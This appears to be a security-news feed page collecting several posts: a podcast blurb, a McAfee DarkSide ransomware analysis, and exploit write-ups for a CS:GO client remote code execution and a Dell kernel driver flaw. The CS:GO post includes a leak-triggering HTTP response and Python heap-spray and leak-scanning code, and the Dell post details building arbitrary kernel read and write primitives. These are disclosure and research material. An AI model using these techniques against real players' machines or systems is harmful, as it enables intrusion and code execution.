Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Project management careers in the military and private sector | Guest Ginny Morton

By: Infosec
17 May 2021 at 07:00

Ginny Morton, project management professional at Dell and veteran in the U.S. Army, takes us through the practice of cybersecurity project management in both for-profit and military sectors on today’s episode. We talk about Scrum and Agile certifications, building the best team for the project and tapping into your personal power in your work. 

0:00 - Intro
2:04 - Origin story
4:47 - What does a cybersecurity project manager do?
6:10 - Average work day as a project manager
7:40 - Best and worst parts of project management
9:30 - How does a PM improve cybersecurity work?
10:40 - Dell team management
12:50 - Being the team’s first manager
14:36 - Best project management certifications
21:02 - PM work for Dell versus the military
23:00 - Military clearances for PM work
24:08 - Skills and experiences necessary for high-level PM
22:52 - Skills and interests for a successful career
27:04 - Tips for those who want to transition careers
27:38 - Changes to PM work during COVID
28:40 - Adjustments to work from home
29:55 - Will PM work change?
31:04 - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ginny Morton is a senior cyber security advisor, program management at Dell, and has spent much of her career in the project management space for cybersecurity, previously working at TekSystems and in both the Texas Army National Guard and the U.S. Army.

Our recent guest, project manager Jackie Olshack, recommended Morton for the show, and as we had a ton of people tune in to see Jackie’s episode, we realize that our listeners are passionate about learning more about project management in IT and cyber as a career path, so I’m looking forward to talking with Morton about her career path as well as the unique aspects of doing project management work on a federal/military level.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

DarkSide Ransomware Victims Sold Short

14 May 2021 at 10:32
How to check for viruses

Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:

DarkSide Ransomware:  What is it?

As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.

The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.

Coverage and Protection Advice

McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.

Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Early Detection

MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.

Prevention

ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.

ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.

ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

For the latest mitigation guidance, please review:

https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US

Technical Analysis

The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.

As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.

  1. Using valid accounts, exploit vulnerabilities on servers or RDP for initial stage
  2. Next, establish a beachhead in the victim’s network by using tools like Cobalt-Strike (beacons), RealVNC, RDP ported over TOR, Putty, AnyDesk and TeamViewer. TeamViewer is what we also see back in the config of the ransomware sample:

The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.

As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.

On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:

In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.

  1. Once a strong foothold has been established, several tools are used by the actors to gain more privileges.

Tools observed:

  • Mimikatz
  • Dumping LSASS
  • IE/FireFox password dumper
  • Powertool64
  • Empire
  • Bypassing UAC
  1. Once enough privileges are gained, it is time to map out the network and identify the most critical systems like servers, storage, and other critical assets. A selection of the below tools was observed to have been used in several cases:
  • BloodHound
  • ADFind
  • ADRecon
  • IP scan tools
  • Several Windows native tools
  • PowerShell scripts

Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.

While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:

DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?

Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.

In the code we clearly observe this support:

Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:

Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):

Conclusion

Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.

MITRE ATT&CK Techniques Leveraged by DarkSide:

Data Encrypted for Impact – T1486

Inhibit System Recovery – T1490

Valid Accounts – T1078

PowerShell – T1059.001

Service Execution – T1569.002

Account Manipulation – T1098

Dynamic-link Library Injection – T1055.001

Account Discovery – T1087

Bypass User Access Control – T1548.002

File Permissions Modification – T1222

System Information Discovery – T1082

Process Discovery – T1057

Screen Capture – T1113

Compile After Delivery – T1027.004

Credentials in Registry – T1552.002

Obfuscated Files or Information – T1027

Shared Modules – T1129

Windows Management Instrumentation – T1047

Exploit Public-Facing Application – T1190

Phishing – T1566

External Remote Services – T1133

Multi-hop Proxy – T1090.003

Exploitation for Privilege Escalation – T1068

Application Layer Protocol – T1071

Bypass User Account Control – T1548.002

Commonly Used Port – T1043

Compile After Delivery – T1500

Credentials from Password Stores – T1555

Credentials from Web Browsers – T1555.003

Credentials in Registry – T1214

Deobfuscate/Decode Files or Information – T1140

Disable or Modify Tools – T1562.001

Domain Account – T1087.002

Domain Groups – T1069.002

Domain Trust Discovery – T1482

Exfiltration Over Alternative Protocol – T1048

Exfiltration to Cloud Storage – T1567.002

File and Directory Discovery – T1083

Gather Victim Network Information – T1590

Ingress Tool Transfer – T1105

Linux and Mac File and Directory Permissions Modification – T1222.002

Masquerading – T1036

Process Injection – T1055

Remote System Discovery – T1018

Scheduled Task/Job – T1053

Service Stop – T1489

System Network Configuration Discovery – T1016

System Services – T1569

Taint Shared Content – T1080

Unix Shell – T1059.004

The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blog.

Counter-Strike Global Offsets: reliable remote code execution

One of the factors contributing to Counter-Strike Global Offensive’s (herein “CS:GO”) massive popularity is the ability for anyone to host their own community server. These community servers are free to download and install and allow for a high grade of customization. Server administrators can create and utilize custom assets such as maps, allowing for innovative game modes.

However, this design choice opens up a large attack surface. Players can connect to potentially malicious servers, exchanging complex game messages and binary assets such as textures.

We’ve managed to find and exploit two bugs that, when combined, lead to reliable remote code execution on a player’s machine when connecting to our malicious server. The first bug is an information leak that enabled us to break ASLR in the client’s game process. The second bug is an out-of-bounds access of a global array in the .data section of one of the game’s loaded modules, leading to control over the instruction pointer.

Community server list

Players can join community servers using a user friendly server browser built into the game:

Once the player joins a server, their game client and the community server start talking to each other. As security researchers, it was our task to understand the network protocol used by CS:GO and what kind of messages are sent so that we could look for vulnerabilities.

As it turned out, CS:GO uses its own UDP-based protocol to serialize, compress, fragment, and encrypt data sent between clients and a server. We won’t go into detail about the networking code, as it is irrelevant to the bugs we will present.

More importantly, this custom UDP-based protocol carries Protobuf serialized payloads. Protobuf is a technology developed by Google which allows defining messages and provides an API for serializing and deserializing those messages.

Here is an example of a protobuf message defined and used by the CS:GO developers:

message CSVCMsg_VoiceInit {
	optional int32 quality = 1;
	optional string codec = 2;
	optional int32 version = 3 [default = 0];
}

We found this message definition by doing a Google search after having discovered CS:GO utilizes Protobuf. We came across the SteamDatabase GitHub repository containing a list of Protobuf message definitions.

As the name of the message suggests, it’s used to initialize some kind of voice-message transfer of one player to the server. The message body carries some parameters, such as the codec and version used to interpret the voice data.

Developing a CS:GO proxy

Having this list of messages and their definitions enabled us to gain insights into what kind of data is sent between the client and server. However, we still had no idea in which order messages would be sent and what kind of values were expected. For example, we knew that a message exists to initialize a voice message with some codec, but we had no idea which codecs are supported by CS:GO.

For this reason, we developed a proxy for CS:GO that allowed us to view the communication in real-time. The idea was that we could launch the CS:GO game and connect to any server through the proxy and then dump any messages received by the client and sent to the server. For this, we reverse-engineered the networking code to decrypt and unpack the messages.

We also added the ability to modify the values of any message that would be sent/received. Since an attacker ultimately controls any value in a Protobuf serialized message sent between clients and the server, it becomes a possible attack surface. We could find bugs in the code responsible for initializing a connection without reverse-engineering it by mutating interesting fields in messages.

The following GIF shows how messages are being sent by the game and dumped by the proxy in real-time, corresponding to events such as shooting, changing weapons, or moving:

Equipped with this tooling, it was now time for us to discover bugs by flipping some bits in the protobuf messages.

OOB access in CSVCMsg_SplitScreen

We discovered that a field in the CSVCMsg_SplitScreen message, that can be sent by a (malicious) server to a client, can lead to an OOB access which subsequently leads to a controlled virtual function call.

The definition of this message is:

message CSVCMsg_SplitScreen {
	optional .ESplitScreenMessageType type = 1 [default = MSG_SPLITSCREEN_ADDUSER];
	optional int32 slot = 2;
	optional int32 player_index = 3;
}

CSVCMsg_SplitScreen seemed interesting, as a field called player_index is controlled by the server. However, contrary to intuition, the player_index field is not used to access an array, the slot field is. As it turns out, the slot field is used as an index for the array of splitscreen player objects located in the .data segment of engine.dll file without any bounds checks.

Looking at the crash we could already observe some interesting facts:

  1. The array is stored in the .data section within engine.dll
  2. After accessing the array, an indirect function call on the accessed object occurs

The following screenshot of decompiled code shows how player_splot was used without any checks as an index. If the first byte of the object was not 1, a branch is entered:

The bug proved to be quite promising, as a few instructions into the branch a vtable is dereferenced and a function pointer is called. This is shown in the next screenshot:

We were very excited about the bug as it seemed highly exploitable, given an info leak. Since the pointer to an object is obtained from a global array within engine.dll, which at the time of writing is a 6MB binary, we were confident that we could find a pointer to data we control. Pointing the aforementioned object to attacker controlled data would yield arbitrary code execution.

However, we would still have to fake a vtable at a known location and then point the function pointer to something useful. Due to this constraint, we decided to look for another bug that could lead to an info leak.

Uninitialized memory in HTTP downloads leads to information disclosure

As mentioned earlier, server admins can create servers with any number of customizations, including custom maps and sounds. Whenever a player joins a server with such customizations, files behind the customizations need to be transferred. Server admins can create a list of files that need to be downloaded for each map in the server’s playlist.

During the connection phase, the server sends the client the URL of a HTTP server where necessary files should be downloaded from. For each custom file, a cURL request would be created. Two options that were set for each request piqued our interested: CURLOPT_HEADERFUNCTION and CURLOPT_WRITEFUNCTION. The former allows a callback to be registered that is called for each HTTP header in the HTTP response. The latter allows registering a callback that is triggered whenever body data is received.

The following screenshot shows how these options are set:

We were interested in seeing how Valve developers handled incoming HTTP headers and reverse engineered the function we named CurlHeaderCallback().

It turned out that the CurlHeaderCallback() simply parsed the Content-Length HTTP header and allocated an uninitialized buffer on the heap accordingly, as the Content-Length should correspond to the size of the file that should be downloaded.

The CurlWriteCallback() would then simply write received data to this buffer.

Finally, once the HTTP request finished and no more data was to be received, the buffer would be written to disk.

We immediately noticed a flaw in the parsing of the HTTP header Content-Length: As the following screenshot shows, a case sensitive compare was made.

Case sensitive search for the Content-Length header.

This compare is flawed as HTTP headers can be lowercase as well. This is only the case for Linux clients as they use cURL and then do the compare. On Windows the client just assumes that the value returned by the Windows API is correct. This yields the same bug, as we can just send an arbitrary Content-Length header with a small response body.

We set up a HTTP server with a Python script and played around with some HTTP header values. Finally, we came up with a HTTP response that triggers the bug:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 1337
content-length: 0
Connection: closed

When a client receives such a HTTP response for a file download, it would recognize the first Content-Length header and allocate a buffer of size 1337. However, a second content-length header with size 0 follows. Although the CS:GO code misses the second Content-Length header due to its case sensitive search and still expects 1337 bytes of body data, cURL uses the last header and finishes the request immediately.

On Windows, the API just returns the first header value even though the response is ill-formed. The CS:GO code then writes the allocated buffer to disk, along with all uninitialized memory contents, including pointers, contained within the buffer.

Although it appears that CS:GO uses the Windows API to handle the HTTP downloads on Windows, the exact same HTTP response worked and allowed us to create files of arbitrary size containing uninitialized memory contents on a player’s machine.

A server can then request these files through the CNETMsg_File message. When a client receives this message, they will upload the requested file to the server. It is defined as follows:

message CNETMsg_File {
	optional int32 transfer_id = 1;
	optional string file_name = 2;
	optional bool is_replay_demo_file = 3;
	optional bool deny = 4;
}

Once the file is uploaded, an attacker controlled server could search the file’s contents to find pointers into engine.dll or heap pointers to break ASLR. We described this step in detail in our appendix section Breaking ASLR.

Putting it all together: ConVars as a gadget

To further enable customization of the game, the server and client exchange ConVars, which are essentially configuration options.

Each ConVar is managed by a global object, stored in engine.dll. The following code snippet shows a simplified definition of such an object which is used to explain why ConVars turned out to be a powerful gadget to help exploit the OOB access:

struct ConVar {
    char *convar_name;
    int data_len;
    void *convar_data;
    int color_value;
};

A community server can update its ConVar values during a match and notify the client by sending the CNETMsg_SetConVar message:

message CMsg_CVars {
	message CVar {
		optional string name = 1;
		optional string value = 2;
		optional uint32 dictionary_name = 3;
	}

	repeated .CMsg_CVars.CVar cvars = 1;
}

message CNETMsg_SetConVar {
	optional .CMsg_CVars convars = 1;
}

These messages consist of a simple key/value structure. When comparing the message definition to the struct ConVar definition, it is correct to assume that the entirely attacker-controllable value field of the ConVar message is copied to the client’s heap and a pointer to it is stored in the convar_value field of a ConVar object.

As we previously discussed, the OOB access in CSVCMsg_SplitScreen occurs in an array of pointers to objects. Here is the decompilation of the code in which the OOB access occurs as a reminder:

Since the array and all ConVars are located in the .data section of engine.dll, we can reliably set the player_slot argument such that the ptr_to_object points to a ConVar value which we previously set. This can be illustrated as follows:

We also mentioned earlier that a few instructions after the OOB access a virtual method on the object is called. This happens as usual through a vtable dereference. Here is the code again as a reminder:

Since we control the contents of the object through the ConVar, we can simply set the vtable pointer to any value. In order to make the exploit 100% reliable, it would make sense to use the info leak to point back into the .data section of engine.dll into controlled data.

Luckily, some ConVars are interpreted as color values and expect a 4 byte (Red Blue Green Alpha) value, which can be attacker controlled. This value is stored directly in the color_value field in above struct ConVar definition. Since the CS:GO process on Windows is 32-bit, we were able to use the color value of a ConVar to fake a pointer.

If we use the fake object’s vtable pointer to point into the .data section of engine.dll, such that the called method overlaps with the color_value, we can finally hijack the EIP register and redirect control flow arbitrarily. This chain of dereferences can be illustrated as follows:

ROP chain to RCE

With ASLR broken and us having gained arbitrary instruction pointer control, all that was left to do was build a ROP chain that finally lead to us calling ShellExecuteA to execute arbitrary system commands.

Conclusion

We submitted both bugs in one report to Valve’s HackerOne program, along with the exploit we developed that proved 100% reliablity. Unfortunately, in over 4 months, we did not even receive an acknowledgment by a Valve representative. After public pressure, when it became apparent that Valve had also ignored other Security Researchers with similar impact, Valve finally fixed numerous security issues. We hope that Valve re-structures its Bug Bounty program to attract Security Researchers again.

Time Table

Date (DD/MM/YYYY) What
04.01.2021 Reported both bugs in one report to Valve’s bug bounty program
11.01.2021 A HackerOne triager verifies the bug and triages it
10.02.2021 First follow-up, no response from Valve
23.02.2021 Second follow-Up, no response from Valve
10.04.2021 Disclosure of Bug existance via twitter
15.04.2021 Third follow-up, no response from Valve
28.04.2021 Valve patches both bugs

Breaking ASLR

In the Uninitialized memory in HTTP downloads leads to information disclosure section, we showed how the HTTP download allowed us to view arbitrarily sized chunks of uninitialized memory in a client’s game process.

We discovered another message that seemed quite interesting to us: CSVCMsg_SendTable. Whenever a client received such a message, it would allocate an object with attacker-controlled integer on the heap. Most importantly, the first 4 bytes of the object would contain a vtable pointer into engine.dll.

def spray_send_table(s, addr, nprops):
    table = nmsg.CSVCMsg_SendTable()
    table.is_end = False
    table.net_table_name = "abctable"
    table.needs_decoder = False

    for _ in range(nprops):
        prop = table.props.add()
        prop.type = 0x1337ee00
        prop.var_name = "abc"
        prop.flags = 0
        prop.priority = 0
        prop.dt_name = "whatever"
        prop.num_elements = 0
        prop.low_value = 0.0
        prop.high_value = 0.0
        prop.num_bits = 0x00ff00ff

    tosend = prepare_payload(table, 9)
    s.sendto(tosend, addr)

The Windows heap is kind of nondeteministic. That is, a malloc -> free -> malloc combo will not yield the same block. Thankfully, Saar Amaar published his great research about the Windows heap, which we consulted to get a better understanding about our exploit context.

We came up with a spray to allocate many arrays of SendTable objects with markers to scan for when we uploaded the files back to the server. Because we can choose the size of the array, we chose a not so commonly alloacted size to avoid interference with normal game code. If we now deallocate all of the sprayed arrays at once and then let the client download the files the chance of one of the files to hit a previously sprayed chunk is relativly high.

In practice, we almost always got the leak in the first file and when we didn’t we could simply reset the connection and try again, as we have not corrupted the program state yet. In order to maximize success, we created four files for the exploit. This ensures that at least one of them succeeds and otherwise simply try again.

The following code shows how we scanned the received memory for our sprayed object to find the SendTable vtable which will point into engine.dll.

files_received.append(fn)
pp = packetparser.PacketParser(leak_callback)

for i in range(len(data) - 0x54):
    vtable_ptr = struct.unpack('<I', data[i:i+4])[0]
    table_type = struct.unpack('<I', data[i+8:i+12])[0]
    table_nbits = struct.unpack('<I', data[i+12:i+16])[0]
    if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff:
        engine_base = vtable_ptr - OFFSET_VTABLE 
        print(f"vtable_ptr={hex(vtable_ptr)}")
        break

Bring Your Own VM - Mac Edition

28 December 2020 at 10:53
For a while I've wanted to explore the concept of leveraging a virtual machine on target during an engagement. The thought of having implant logic self-contained and running under a different OS to the base seems pretty interesting. But more so, I've been curious as to just how far traditional AV and EDR can go to detect malicious activity when running from a different virtual environment. While this is a nice idea, the issues with creating this type of malware are obvious, with increased comple...

Exploit Development: CVE-2021-21551 - Dell ‘dbutil_2_3.sys’ Kernel Exploit Writeup

16 May 2021 at 00:00

Introduction

Recently I said I was going to focus on browser exploitation with Advanced Windows Exploitation being canceled. With this cancellation, I found myself craving a binary exploitation training, with AWE now being canceled for the previous two years. I found myself enrolled in HackSysTeam’s Windows Kernel Exploitation Advanced course, which will be taking place at the end of this month at CanSecWest, due to the cancellation. I have already delved into the basics of kernel exploitation, and I had been looking to complete a few exercises to prepare for the end of the month, and shake the rust off.

I stumbled across this SentinelOne blog post the other day, which outlined a few vulnerabilities in Dell’s dbutil_2_3.sys driver, including a memory corruption vulnerability. Although this vulnerability was attributed to Kasif Dekel, it apparently was discovered earlier by Yarden Shafir and Staoshi Tanda, coworkers of mine at CrowdStrike.

After reading Kasif’s blog post, which practically outlines the entire vulnerability and does an awesome job of explaining things and giving researchers a wonderful starting point, I decided that I would use this opportunity to get ready for Windows Kernel Exploitation Advanced at the end of the month.

I also decided, because Kasif leverages a data-only attack, instead of something like corrupting page table entries, that I would try to recreate this exploit by achieving a full SYSTEM shell via page table corruption. The final result ended up being a weaponized exploit. I wanted to take this blog post to showcase just a few of the “checks” that needed to be bypassed in the kernel in order to reach the final arbitrary read/write primitive, as well as why modern mitigations such as Virtualization-Based Security (VBS) and Hypervisor-Protected Code Integrity (HVCI) are so important in today’s threat landscape.

In addition, three of my favorite things to do are to write, conduct vulnerability research, and write code - so regardless of if you find this blog helpful/redundant, I just love to write blogs at the end of the day :-). I also hope this blog outlines, as I mentioned earlier, why it is important mitigations like VBS/HVCI become more mainstream and that at the end of the day, these two mitigations in tandem could have prevented this specific method of exploitation (note that other methods are still viable, such as a data-only attack as Kasif points out).

Arbitrary Write Primitive

I will not attempt to reinvent the wheel here, as Kasif’s blog post explains very well how this vulnerability arises, but the tl;dr on the vulnerability is there is an IOCTL code that any client can trigger with a call to DeviceIoControl that eventually reaches a memmove routine, in which the user-supplied buffer from the vulnerable IOCTL routine is used in this call.

Let’s get started with the analysis. As is accustom in kernel exploits, we first need a way, generally speaking, to interact with the driver. As such, the first step is to obtain a handle to the driver. Why is this? The driver is an object in kernel mode, and as we are in user mode, we need some intermediary way to interact with the driver. In order to do this, we need to look at how the DEVICE_OBJECT is created. A DEVICE_OBJECT generally has a symbolic link which references it, that allows clients to interact with the driver. This object is what clients interact with. We can use IDA in our case to locate the name of the symbolic link. The DriverEntry function is like a main() function in a kernel mode driver. Additionally, DriverEntry functions are prototyped to accept a pointer to a DRIVER_OBJECT, which is essentially a “representation” of a driver, and a RegistryPath. Looking at Microsoft documentation of a DRIVER_OBJECT, we can see one of the members of this structure is a pointer to a DEVICE_OBJECT.

Loading the driver in IDA, in the Functions window under Function name, you will see a function called DriverEntry.

This entry point function, as we can see, performs a jump to another function, sub_11008. Let’s examine this function in IDA.

As we can see, the \Device\DBUtil_2_3 string is used in the call to IoCreateDevice to create a DEVICE_OBJECT. For our purposes, the target symbolic link, since we are a user-mode client, will be \\\\.\\DBUtil_2_3.

Now that we know what the target symbolic link is, we then need to leverage CreateFile to obtain a handle to this driver.

We will start piecing the code together shortly, but this is how we obtain a handle to interact with the driver.

The next function we need to call is DeviceIoControl. This function will allow us to pass the handle to the driver as an argument, and allow us to send data to the driver. However, we know that drivers create I/O Control (IOCTL) routines that, based on client input, perform different actions. In this case, this driver exposes many IOCTL routines. One way to determine if a function in IDA contains IOCTL routines, although it isn’t fool proof, is looking for many branches of code with cmp eax, DWORD. IOCTL codes are DWORDs and drivers, especially enterprise grade drivers, will perform many different actions based on the IOCTL specified by the client. Since this driver doesn’t contain many functions, it is relatively trivial to locate a function which performs many of these validations.

Per Kasif’s research, the vulnerable IOCTL in this case is 0x9B0C1EC8. In this function, sub_11170, we can look for a cmp eax, 9B0C1EC8h instruction, which would be indicative that if the vulnerable IOCTL code is specified, whatever code branches out from that compare statement would lead us to the vulnerable code path.

This compare, if successful, jumps to an xor edx, edx instruction.

After the XOR instruction incurs, program execution hits the loc_113A2 routine, which performs a call to the function sub_15294.

If you recall from Kasif’s blog post, this is the function in which the vulnerable code resides in. We can see this in the function, by the call to memmove.

What primitive do we have here? As Kasif points out, we “can control the arguments to memmove” in this function. We know that we can hit this function, sub_15294, which contains the call to memmove. Let’s take a look at the prototype for memmove, as seen here.

As seen above, memmove allows you to move a pointer to a block of memory into another pointer to a block of memory. If we can control the arguments to memmove, this gives us a vanilla arbitrary write primitive. We will be able to overwrite any pointer in kernel mode with our own user-supplied buffer! This is great - but the question remains, we see there are tons of code branches in this driver. We need to make sure that from the time our IOCTL code is checked and we are directed towards our code path, that any compare statements/etc. that arise are successfully dealt with, so we can reach the final memmove routine. Let’s begin by sending an arbitrary QWORD to kernel mode.

After loading the driver on the debuggee machine, we can start a kernel-mode debugging session in WinDbg. After verifying the driver is loaded, we can use IDA to locate the offset to this function and then set a breakpoint on it.

Next, after running the POC on the debuggee machine, we can see execution hits the breakpoint successfully and the target instruction is currently in RIP and our target IOCTL is in the lower 32-bits of RAX, EAX.

After executing the cmp statement and the jump, we can see now that we have landed on the XOR instruction, per our static analysis with IDA earlier.

Then, execution hits the call to the function (sub+15294) which contains the memmove routine - so far so good!

We can see now we have landed inside of the function call, and a new stack frame is being created.

If we look in the RCX register currently, we can see our buffer, when dereferencing the value in RCX.

We then can see that, after stepping through the sup rsp, 0x40 stack allocation and the mov rbx, rcx instruction, the value 0x8 is going to be placed into ECX and used for the cmp ecx, 0x18 instruction.

What is this number? This is actually the size of our buffer, which is currently one QWORD. Obviously this compare statement will fail, and essentially an NTSTATUS code is returned back to the client of 0xC0000000D, which means STATUS_INVALID_PARAMETER. This is the driver’s way to let the client know one of the needed arguments wasn’t correct in the IOCTL call. This means that if we want to reach the memmove routine, we will at least need to send 0x18 bytes worth of data.

Refactoring our code, let’s try to send a contiguous buffer of 0x18 bytes of data.

After hitting the sub_5294 function, we see that this time the cmp ecx, 0x18 check will be bypassed.

After stepping through a few instructions, after the test rax, rax bitwise test and the jump instruction, we land on a load effective address instruction, and we can see our call to memmove, although there is no symbol in WinDbg.

Since we are about to hit the call to memmove, we know that the __fastcall calling convention is in use, as we see no movements to the stack and we are on a 64-bit system. Because of this, we know that, based on the prototype, the first argument will be placed into RCX, which will be the destination buffer (e.g. where the memory will be written to). We also know that RDX will contain the source buffer (e.g. where the memory comes from).

Stepping into the mov ecx, dword ptr[rsp+0x30], which will move the lower 32-bits of RSP, ESP, into ECX, we can see that a value of 0x00000000 is about to be moved into ECX.

We then see that the value on the stack, at an offset of 0x28, is added to the value in RCX, which is currently zero.

We then can see that invalid memory will be dereferenced in the call to memmove.

Why is this? Recall the prototype of memmove. This function accepts a pointer to memory. Since we passed raw values of junk, these addresses are invalid. Because of this, let’s switch up our POC a bit again in order to see if we can’t get a desired result. Let’s use KUSER_SHARD_DATA at an offset of 0x800, which is 0xFFFFF78000000800, as a proof of concept.

This time, per Kasif’s research, we will send a 0x20 byte buffer. Kasif points out that the memmove routine, before reaching the call, will select at an offset of 0x8 (the destination) and 0x18 (the source).

After re-executing the POC, let’s jump back right before the call to memmove.

We can see that this time, 0x42 bytes, 4 bytes of them to be exact, will be loaded into ECX.

Then, we can clearly see that the value at the stack, plus 0x28 bytes, will be added to ECX. The final result is 0xFFFFF78042424242.

We then can see that before the call, another part of our buffer is moved into RDX as the source buffer. This allows us an arbitrary write primitive! A buffer we control will overwrite the pointer at the memory address we supply.

The issue is, however, with the source address. We were attempting to target 0xFFFFF78000000800. However, our address got mangled into 0xFFFFF78042424242. This is because it seems like the lower 32-bits of one of our user-supplied QWORDS first gets added to the destination buffer. This time, if we resend the exploit and we change where 0x4242424242424242 once was with 0x0000000000000000, we can “bypass” this issue, but having a value of 0 added, meaning our target address will remain unmangled.

After sending the POC again, we can see that the correct target address is loaded into RCX.

Then, as expected, our arguments are supplied properly to the call to memmove.

After stepping over the function call, we can see that our arbitrary write primitive has successfully worked!

Again, thank you to Kasif for his research on this! Now, let’s talk about the arbitrary read primitive, which is very similar!

Arbitrary Read Primitive

As we know, whenever we supply arguments to the vulnerable memmove routine used for an arbitrary write primitive, we can supply the “what” (our data) and the “where” (where do we write the data). However, recall the image two images above, showcasing our successful arguments, that since memmove accepts two pointers, the argument in RDX, which is a pointer to 0x4343434343434343, is a kernel mode address. This means, at some point between the memmove call and our invocation of DeviceIoControl, our array of QWORDS was transferred to kernel mode, so it could be used by the driver in the call to memmove. Notice, however, that the target address, the value in RCX, is completely controllable by us - meaning the driver doesn’t create a pointer to that QWORD, we can directly supply it. And, since memmove will interpret that as a pointer, we can actually overwrite whatever we pass to the target buffer, which in this case is any address we want to corrupt.

What if, however, there was a way to do this in reverse? What if, in place of the kernel mode address that points to 0x4343434343434343 we could just supply our own memory address, instead of the driver creating a pointer to it, identically to how we control the target address we want to move memory to.

This means, instead of having something like this for the target address:

ffffc605`24e82998 43434343`43434343

What if we could just pass our own data as such:

43434343`43434343 DATA

Where 0x4343434343434343 is a value we supply, instead of having the kernel create a pointer to it for us. That way, when memmove interprets this address, it will interpret it as a pointer. This means that if we supply a memory address, whatever that memory address points to (e.g. nt!MiGetPteAddress+0x13 when dereferenced) is copied to the target buffer!

This could go one of two ways potentially: option one would be that we could copy this data into our own pointer in C. However, since we see that none of our user-mode addresses are making it to the driver, and the driver is taking our buffer and placing it in kernel mode before leveraging it, the better option, perhaps, would be to supply an output buffer to DeviceIoControl and see if the memmmove data writes it to the output buffer.

The latter option makes sense as this IOCTL allows any client to supply a buffer and have it copied. This driver most likely isn’t expecting unauthorized clients to this IOCTL, meaning the input and output buffers are most likely being used by other kernel mode components/legitimate user-mode clients that need an easy way to pass and receive data. Because of this, it is more than likely it is expected behavior for the output buffer to contain memmove data. The problem is we need to find another memmove routine that allows us to essentially to the inverse of what we did with the arbitrary write primitive.

Talking to a peer of mine, VoidSec about my thought process, he pointed me towards Metasploit, which already has this concept outlined in their POC.

Doing a bit more of reverse engineering, we can see that there is more than one way to reach the arbitrary write memmove routine.

Looking into the sub_15294, we can see that this is the same memmove routine leveraged before.

